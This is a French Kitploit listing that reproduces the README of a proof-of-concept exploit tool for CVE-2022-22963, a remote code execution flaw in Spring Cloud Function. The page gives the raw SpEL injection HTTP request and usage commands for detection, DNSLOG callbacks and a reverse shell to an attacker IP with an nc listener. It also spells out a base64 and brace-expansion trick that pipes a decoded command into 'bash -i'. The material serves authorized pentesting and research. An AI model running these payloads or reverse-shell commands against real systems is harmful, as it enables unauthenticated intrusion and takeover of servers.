Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-22963 — CVE-2022-22963-poc | Kitploit
Outils/GitHubGitHub/xmqaq/cve-2022-22963
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubxmqaq/cve-2022-22963

CVE-2022-22963

CVE-2022-22963-poc

Voir le dépôt
1il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-22963

Python License

Outil de détection et d'exploitation de la vulnérabilité d'injection d'expression SpEL dans Spring Cloud Function permettant l'exécution de code à distance.

Présentation de la vulnérabilité

CVE-2022-22963 est une vulnérabilité RCE à haut risque (CVSS 9.8) dans la fonction de routage de Spring Cloud Function. Lorsque l'application active le point de terminaison /functionRouter, la valeur de l'en-tête de requête spring.cloud.function.routing-expression est directement exécutée comme une expression SpEL (Spring Expression Language). Un attaquant peut ainsi exécuter des commandes système arbitraires sur le serveur cible sans authentification.

Versions affectées :

BrancheVersions affectéesVersion corrigée
3.1.x< 3.1.73.1.7
3.2.x< 3.2.33.2.3

Principe de la vulnérabilité :

root@kitploit:~
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded

test

Après exécution du SpEL par le serveur, exec() renvoie un objet Process ; Spring tente de le sérialiser, ce qui déclenche une exception et une réponse HTTP 500. La commande s'exécute de manière asynchrone en arrière-plan, le résultat n'apparaît pas dans la réponse HTTP. Il faut donc confirmer l'exécution par un canal indirect tel que DNSLOG ou un shell inversé.

Fonctionnalités

  • Détection de la vulnérabilité : déclenche une réponse caractéristique via SpEL pour déterminer si la cible est vulnérable
  • Vérification DNSLOG : envoie une requête ping vers un domaine DNSLOG et confirme l'exécution de la commande via les enregistrements DNS
  • Shell inversé : utilise un encodage base64 pour contourner la limitation des espaces et renvoie un shell interactif vers l'adresse indiquée

Installation

root@kitploit:~
pip install requests

Python 3.6+, aucune autre dépendance.

Utilisation

root@kitploit:~
python3 CVE-2022-22963.py -u <URL_cible> [options]

Description des paramètres

Détection de la vulnérabilité

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -c
root@kitploit:~
2024-01-01 12:00:00 - INFO - [+] http://target.example.com 存在漏洞!

Vérification DNSLOG

Permet de confirmer l'exécution réelle de la commande en l'absence de sortie visible :

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
root@kitploit:~
2024-01-01 12:00:01 - INFO - [+] payload 已发送,请检查 abc123.dnslog.cn 是否收到 DNS 请求(确认实际执行)

Vérifiez ensuite sur la plateforme DNSLOG si une requête DNS provenant de l'IP cible a été reçue.

Shell inversé

Ouvrez un écouteur sur la machine de l'attaquant :

root@kitploit:~
nc -lvnp 9999

Envoyez le payload :

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
root@kitploit:~
2024-01-01 12:00:02 - INFO - [+] payload 已发送,请在 192.168.1.100:9999 等待连接(仅支持 Linux/bash 目标)

Remarque : le shell inversé dépend de la prise en charge de /dev/tcp sur le système cible. Il ne fonctionne qu'avec un environnement Linux + bash et ne prend pas en charge les cibles Windows ni les shells tels que sh/ash/dash.

Détails techniques

Principe de détection

La requête de détection envoie une véritable expression SpEL à /functionRouter :

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec('id')
  • Vulnérabilité présente : le SpEL est exécuté, l'objet Process ne peut pas être sérialisé → HTTP 500 + "path":"/functionRouter"
  • Vulnérabilité absente : l'en-tête est ignoré, le routage de la fonction échoue → le code de réponse ou le corps ne correspond pas aux caractéristiques ci-dessus

Processus d'encodage du shell inversé

Runtime.exec(String) ne passe pas par l'interpréteur de shell ; il découpe la chaîne de commande selon les espaces et ne peut pas gérer les tubes ni les redirections. L'outil contourne cette limitation de la manière suivante :

  1. La commande du shell inversé est encodée en base64, ce qui élimine les caractères spéciaux
  2. L'expansion d'accolades bash {cmd,arg} est utilisée à la place des espaces
  3. Le paramètre -c du bash cible est finalement utilisé pour traiter les tubes et les redirections
root@kitploit:~
bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
          ↕ Java exec découpe selon les espaces
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
          ↕ bash -c applique l'expansion d'accolades aux arguments
echo BASE64 | base64 -d | bash -i

Journal des modifications

DateVersionDescription
2023-12-28v1.0Publication de la version initiale
2025-10-09v1.1Refactorisation du code, optimisation de la gestion des paramètres et des erreurs

Avertissement

Cet outil est destiné uniquement à la recherche en sécurité, aux tests d'intrusion autorisés et à des fins pédagogiques.

En utilisant cet outil, vous acceptez :

  1. De l'utiliser uniquement sur des systèmes pour lesquels vous disposez d'une autorisation écrite explicite
  2. De respecter toutes les lois et réglementations applicables dans votre région
  3. D'assumer l'entière responsabilité de toutes les conséquences découlant de son utilisation

L'auteur décline toute responsabilité en cas d'utilisation non autorisée et de ses conséquences.

Télécharger l’outil
ParamètreDescriptionValeur par défaut
-u, --urlURL cible (obligatoire)—
-c, --checkVérifier si la vulnérabilité existe—
-m, --modeMode d'exploitation : dnslog ou shell—
-d, --dnsDomaine DNSLOG (utilisé avec -m dnslog)—
-i, --ipIP de réception du shell inversé (utilisé avec -m shell)—
-p, --portPort de réception du shell inversé9999
-t, --timeoutDélai d'expiration des requêtes (secondes)5
2026-06-29v1.2Correction des faux positifs de détection, de la concaténation du chemin de contexte et de la sémantique de la valeur de retour de l'exploit